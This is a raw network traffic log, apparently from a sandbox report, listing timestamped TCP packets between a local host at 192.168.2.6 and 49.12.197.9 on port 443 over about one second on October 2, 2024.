Oct 2, 2024 17:16:39.951339960 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.959650993 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.959670067 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.959739923 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.959749937 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.959790945 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.962083101 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.962100983 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.962173939 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.962181091 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.962299109 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.962964058 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.962980032 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.963031054 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.963040113 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.963087082 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.973226070 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.973252058 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.973385096 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.973412991 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.973959923 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.984692097 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.984719992 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.984783888 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.984807968 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.984834909 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.984850883 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.000560045 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.000592947 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.000643969 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.000672102 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.000710011 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.000726938 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.012744904 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.012769938 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.012825966 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.012851954 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.012878895 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.012897968 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.039536953 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.039562941 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.039607048 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.039637089 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.039652109 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.039856911 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.052464008 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.052488089 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.052531958 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.052552938 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.052568913 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.052587986 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.054786921 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.054816008 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.054843903 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.054857969 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.054882050 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.054898977 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.055722952 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.055743933 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.055785894 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.055799007 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.055824995 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.055845022 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.065781116 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.065815926 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.065888882 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.065920115 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.065934896 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.067343950 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.077482939 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.077513933 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.077553034 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.077564001 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.077575922 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.077647924 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.093018055 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.093049049 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.093101025 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.093128920 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.093142033 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.093897104 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.105299950 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.105319977 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.105362892 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.105386019 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.105407953 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.105423927 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.132075071 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.132112980 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.132159948 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.132199049 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.132217884 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.132308960 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.145129919 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.145167112 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.145224094 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.145261049 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.145277023 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.145301104 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.147336960 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.147366047 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.147401094 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.147416115 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.147430897 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.147448063 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.149652958 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.149679899 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.149710894 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.149724960 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.149749994 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.149771929 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.158559084 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.158593893 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.158632994 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.158654928 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.158678055 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.158698082 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.169996023 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.170022011 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.170104027 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.170104027 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.170126915 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.170329094 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.185734034 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.185753107 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.185837030 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.185858965 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.185906887 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.198025942 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.198043108 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.198136091 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.198163033 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.198252916 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.225738049 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.225759029 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.225852966 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.225886106 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.225933075 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.237761021 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.237777948 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.237854004 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.237890005 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.237950087 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.240004063 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.240039110 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.240092039 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.240113974 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.240333080 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.240636110 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.240653992 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.240699053 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.240708113 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.240748882 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.252841949 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.252871037 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.252965927 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.253002882 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.253057003 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.269157887 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.269212961 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.269303083 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.269342899 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.269387960 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.278696060 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.278723001 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.278773069 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.278810024 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.278830051 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.278845072 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.290679932 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.290705919 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.290752888 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.290791988 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.290810108 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.290878057 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.318319082 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.318353891 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.318445921 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.318486929 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.318506956 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.318530083 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.330137014 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.330168009 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.330250978 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.330280066 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.330333948 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.333477974 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.333502054 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.333529949 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.333575964 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.333599091 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.333621025 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.333662033 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.345268965 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.345304012 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.345349073 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.345371962 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.345388889 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.345410109 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.361931086 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.361962080 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.362049103 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.362068892 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.362196922 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.371084929 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.371113062 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.371165991 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.371181011 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.371319056 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.383188009 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.383214951 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.383269072 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.383285046 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.383394957 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.411019087 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.411046028 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.411092997 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.411127090 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.411144018 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.411194086 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.422728062 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.422758102 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.422821999 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.422844887 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.422956944 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.425149918 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.425174952 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.425225019 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.425232887 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.425442934 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.425980091 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.425997019 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.426064014 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.426069021 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.426120043 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.437844038 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.437865973 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.437912941 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.437927008 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.437958002 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.437975883 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.455300093 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.455327988 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.455390930 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.455409050 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.455450058 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.463902950 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.463927984 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.463984966 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.463996887 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.464039087 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.476035118 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.476057053 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.476108074 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.476124048 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.476267099 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.503684998 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.503712893 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.503784895 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.503803968 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.503840923 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.515314102 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.515333891 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.515409946 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.515436888 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.515665054 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.517888069 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.517915010 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.517956972 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.517976999 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.518007994 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.518023968 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.518588066 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.518610001 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.518662930 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.518671989 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.518711090 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.530674934 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.530694008 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.530761957 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.530781984 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.530838966 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.547785997 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.547811985 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.547861099 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.547890902 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.547907114 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.547926903 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.556314945 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.556337118 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.556389093 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.556415081 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.556431055 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.556449890 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.568773985 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.568794966 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.568861961 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.568878889 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.569108009 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.596304893 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.596327066 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.596412897 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.596437931 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.596482992 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.607964993 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.607986927 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.608052969 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.608059883 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.608094931 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.610495090 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.610511065 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.610568047 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.610574007 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.610790968 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.611171961 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.611187935 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.611247063 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.611253977 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.611294031 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.623373032 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.623410940 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.623457909 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.623476982 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.623490095 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.623517990 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.640373945 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.640399933 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.640494108 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.640510082 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.640665054 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.649224997 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.649250031 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.649316072 CEST	65237	443	192.168.2.6	49.12.197.9
